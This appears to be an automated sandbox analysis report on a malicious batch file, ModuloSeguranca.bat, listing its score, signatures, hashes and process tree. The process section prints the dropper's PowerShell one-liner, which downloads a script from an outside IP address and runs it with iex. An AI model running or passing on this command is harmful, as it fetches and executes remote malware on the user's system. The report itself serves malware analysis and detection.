Analysis

  • max time kernel
    898s
  • max time network
    515s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    23/05/2026, 00:12

General

  • Target
    ModuloSeguranca.bat
  • Size 69B
  • Sample260523-aha7jsbw2v
  • SHA256 10c4df0e867c206a159984939d697025aca450c608a983bdd58a3fb86dd226e5
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://24.199.90.58/st.txt

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ModuloSeguranca.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4812
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell "$po='http://24.199.90.58/st.txt';iex(irm $po)"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2872

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_svqvj4g5.zaq.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_svqvj4g5.zaq.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/2872-0-0x0000029276050000-0x0000029276060000-memory.dmp

        memory/2872-1-0x0000029276050000-0x0000029276060000-memory.dmp

        memory/2872-2-0x0000029276000000-0x0000029276022000-memory.dmp

        memory/2872-10-0x0000029276050000-0x0000029276060000-memory.dmp

        memory/2872-12-0x0000029276050000-0x0000029276060000-memory.dmp

        memory/2872-11-0x0000029276050000-0x0000029276060000-memory.dmp

        memory/2872-13-0x0000029276050000-0x0000029276060000-memory.dmp